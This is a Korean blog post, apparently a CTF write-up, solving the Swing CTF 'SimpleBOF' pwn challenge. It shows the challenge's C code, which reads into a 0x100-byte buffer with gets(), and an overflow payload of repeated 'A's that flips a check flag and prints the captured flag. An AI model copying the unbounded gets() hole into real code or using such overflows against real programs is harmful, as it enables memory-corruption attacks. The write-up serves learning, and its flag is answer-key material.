[Swing CTF] Pwn-SimpleBOF

2022. 11. 26. 03:01· CTF
목차
  1. SimpleBOF
728x90

SimpleBOF

문제 코드를 확인해보면 buf.check가 true면 cat ./flag로 플래그를 얻을 수 있다.

buf의 사이즈가 0x100이므로 쓰레기 값을 넣어서 플래그를 출력할 수 있을 것 같다.

#include <stdio.h>
#include <stdlib.h>

struct buf{
	char buf[0x100];
	int check;
};

int main(){
	struct buf buf;
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	memset(buf.buf, NULL, sizeof(buf.buf));
	buf.check = 0;
	gets(buf.buf);
	if(buf.check){
		system("cat ./flag");  //플래그 얻을 수 있음!
	}
}

넣은 쓰레기값:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

SWING{6967716f4695b22ebe0abaec06ea7dd703f3421e32c2f41439a41f468092885d}

'CTF' 카테고리의 다른 글

[Swing CTF] Misc-QR Discovery  (0) 2022.11.27
[GlacierCTF] Crypto-CryptoShop  (0) 2022.11.26
[Swing CTF] Misc-babymath  (0) 2022.11.26
[Swing CTF] Web-Baby Sign  (0) 2022.11.26
[Swing CTF] Web-Ayaya  (0) 2022.11.26
  1. SimpleBOF
'CTF' 카테고리의 다른 글
  • [Swing CTF] Misc-QR Discovery
  • [GlacierCTF] Crypto-CryptoShop
  • [Swing CTF] Misc-babymath
  • [Swing CTF] Web-Baby Sign
오호츠크해 기단
오호츠크해 기단
오호츠크해 기단
공기덩어리
오호츠크해 기단
전체
오늘
어제
  • 분류 전체보기 (223)
    • Linux (14)
    • Web (20)
    • Forensic (20)
    • Reversing (18)
    • System (28)
    • Fuzzing (4)
    • WHS 1st (12)
    • SWING (5)
    • CTF (37)
    • 활동들.. (24)
      • 개인정보보호 국민점검단 (1)
      • 스쿨혁명 1784 (1)
      • Incognito (10)
      • 코드클럽 (10)
      • 월드프렌즈코리아 ICT봉사단 (2)
    • Dreamhack (16)
      • Web Hacking (10)
      • Crypto (6)
    • 개발 (19)
      • C++ (12)
      • Git (3)
      • Figma (1)
      • Clone (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • 코드클럽
  • 마크다운 문법
  • github
  • SW교육기부단
  • 마크다운
  • 월클
  • readme
  • 깃허브
  • 방
  • MD

최근 댓글

최근 글

hELLO · Designed By 정상우.v4.2.0
오호츠크해 기단
[Swing CTF] Pwn-SimpleBOF
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.